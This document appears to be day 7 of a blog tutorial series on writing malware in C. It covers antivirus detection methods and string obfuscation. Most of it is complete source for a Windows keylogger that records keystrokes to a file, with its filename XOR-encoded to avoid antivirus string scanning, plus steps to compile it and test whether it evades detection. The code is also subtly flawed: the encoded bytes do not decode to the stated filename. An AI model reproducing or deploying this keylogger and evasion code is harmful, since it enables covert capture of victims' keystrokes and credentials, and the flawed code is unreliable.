10-Day Plan for Learning Malware Development in C: Day 7 – Code Obfuscation and Detection Avoidance

We got to day 7! and this time we’ll explore code obfuscation, a technique used to make code harder to detect and analyze. Obfuscation is a fundamental skill in malware development, often used to avoid detection by antivirus (AV) software. By learning how malware can be hidden, you gain insight into how security tools detect threats and how to strengthen detection techniques.

---

Day 7 – Code Obfuscation and Detection Avoidance

Objective

Today’s goal is to understand and implement code obfuscation techniques that make detection by AV software more challenging. You’ll learn about common detection methods used by AVs, the basics of encryption and polymorphism for obfuscation, and ways to implement these techniques in C. By the end, you’ll apply these skills in a microproject, obfuscating the keylogger you created on Day 6 to make it harder for an antivirus to detect.

Understanding How Antivirus Software Detects Malware

When we studied shellcode, we mentioned how these are detected, so let's rephrase and before diving into obfuscation, it’s important to understand how AV software detects malware. Antivirus programs use multiple techniques to identify malicious code:

1. Signature-Based Detection: AV software scans files for known byte patterns (signatures) associated with malware. This approach is effective but can be bypassed if the malware’s code is modified to avoid matching known signatures.

2. Heuristic Analysis: Heuristics look for behaviors or code structures typical of malware, such as the use of certain Windows API calls, suspicious memory allocations, or system modifications.

3. Behavioral Analysis: Some AVs use sandboxing or other methods to execute code in a controlled environment and observe its behavior.

Code Obfuscation Techniques

Code obfuscation is the process of transforming code to make it difficult to read, understand, or detect, while keeping its functionality intact. Common techniques include:

1. String Encryption: Encrypting or encoding strings (e.g., API names, file paths) used in the malware and decrypting them only at runtime. This makes it harder for AV software to match known strings in the executable.

2. Polymorphism: Polymorphic code changes its appearance with each execution or compile but retains the same functionality. This is often done by encrypting the main payload and dynamically decrypting it in memory.

3. Control Flow Obfuscation: Rearranging or disguising the flow of code, making it harder to follow logically.

Encrypting Strings in C

To get started with obfuscation, we’ll encrypt some strings in the keylogger code from Day 6. This will prevent the antivirus from identifying suspicious strings in the binary, such as file names or certain Windows API function names. We’ll use a simple XOR cipher for encryption and decryption, which is lightweight and effective for basic obfuscation.

Implementing String Encryption (XOR Cipher)

The XOR cipher is a simple technique where each character in a string is XOR-ed with a key. The same key can then be used to decrypt the string. By the way, this technique is also key if you are in the middle of a CTF Challenge.

Example

#include <stdio.h>
#include <string.h>

void xorEncryptDecrypt(char *data, char key) {
    for (int i = 0; i < strlen(data); i++) {
        data[i] ^= key;  // XOR each character with the key
    }
}

int main() {
    char text[] = "logfile.txt";
    char key = 'X';  // XOR key

    printf("Original: %s\n", text);

    // Encrypt the string
    xorEncryptDecrypt(text, key);
    printf("Encrypted: %s\n", text);

    // Decrypt the string
    xorEncryptDecrypt(text, key);
    printf("Decrypted: %s\n", text);

    return 0;
}

Explanation

• This function encrypts or decrypts a string by XOR-ing each character with a key. Running it twice (once for encryption, once for decryption) will return the string to its original form.

Applying Obfuscation to the Keylogger

Let’s integrate the XOR encryption into the keylogger we created on Day 6. We’ll encrypt key strings like the log file name, making it harder for static analysis to detect the program’s intent.

Obfuscated Keylogger Code

#include <windows.h>
#include <stdio.h>
#include <string.h>

// XOR encryption/decryption function
void xorEncryptDecrypt(char *data, char key) {
    for (int i = 0; i < strlen(data); i++) {
        data[i] ^= key;  // XOR each character with the key
    }
}

// Function to map virtual key codes to readable characters
char *keyMap(int key) {
    if (key >= 0x30 && key <= 0x39) return (char[]){(char)key, '\0'};  // Numbers
    if (key >= 0x41 && key <= 0x5A) return (char[]){(char)key, '\0'};  // Letters
    if (key == VK_SPACE) return " ";
    if (key == VK_RETURN) return "[ENTER]";
    if (key == VK_TAB) return "[TAB]";
    if (key == VK_BACK) return "[BACKSPACE]";
    return "[UNK]";  // Unknown key
}

int main() {
    char filename[] = "\x6d\x6e\x6c\x6b\x6d\x66\x67\x3d\x65\x7d\x66\x2d";  // Encrypted string for "keylog.txt"
    char key = 'X';  // XOR key used for encryption

    // Decrypt the filename before using it
    xorEncryptDecrypt(filename, key);

    // Open log file to store keystrokes
    FILE *logFile = fopen(filename, "a+");
    if (logFile == NULL) {
        printf("Error: Unable to open log file.\n");
        return 1;
    }

    while (1) {
        for (int key = 8; key <= 190; key++) {
            if (GetAsyncKeyState(key) & 0x0001) {  // If key is pressed
                char *keyStr = keyMap(key);
                fprintf(logFile, "%s", keyStr);  // Write key to log file
                fflush(logFile);  // Ensure data is written to disk
                printf("%s", keyStr);  // Optionally print to console
            }
        }
        Sleep(10);  // Small delay to prevent CPU overuse
    }

    fclose(logFile);  // Close the file when done
    return 0;
}

Explanation of the Obfuscation

• Encrypted Filename: The filename variable, which stores the log file name, is encrypted with the XOR cipher. This prevents the string "keylog.txt" from appearing in plain text within the program, making it less likely to trigger AV detection based on string scanning.
• Decryption at Runtime: Before using filename to open the file, we decrypt it by calling xorEncryptDecrypt(filename, key);. This happens only in memory, so the decrypted string is not stored in the executable file itself.

Testing and Observing the Obfuscation

1. Compile the Code:

   • Save the code to a file, e.g., obfuscated_keylogger.c.
   • Compile it as usual:

     
     gcc -o obfuscated_keylogger obfuscated_keylogger.c -luser32
     

2. Run the Program:

   • Run the program to observe that it logs keystrokes just as before, but now the log file name and certain strings are obfuscated, making detection more difficult.

3. Check Antivirus Detection:

   • Run the executable in a sandbox environment and scan it with AV software to test whether the obfuscation helped avoid detection.

Advanced Obfuscation Techniques

Beyond simple string encryption, there are other techniques for more robust obfuscation:

• Polymorphic Shellcode: Encrypt the core functionality of the program and decrypt it in memory only when needed. This way, each execution appears different, which is effective against signature-based detection.
• Control Flow Flattening: Change the logical flow of the program, making it harder to follow. For example, insert conditional statements or loops that add “noise” to the code.

These techniques require more advanced understanding of assembly and system calls, but they significantly improve obfuscation, so food for thought and don't hesitate investigating them.

Conclusion

Code obfuscation techniques can make detection by antivirus software more difficult. We modified our keylogger to use XOR encryption, making key strings like file names harder to detect. Code obfuscation is a powerful tool, commonly used in malware but also valuable in ethical research to understand how attackers can bypass security measures.

Happy Hacking! ❤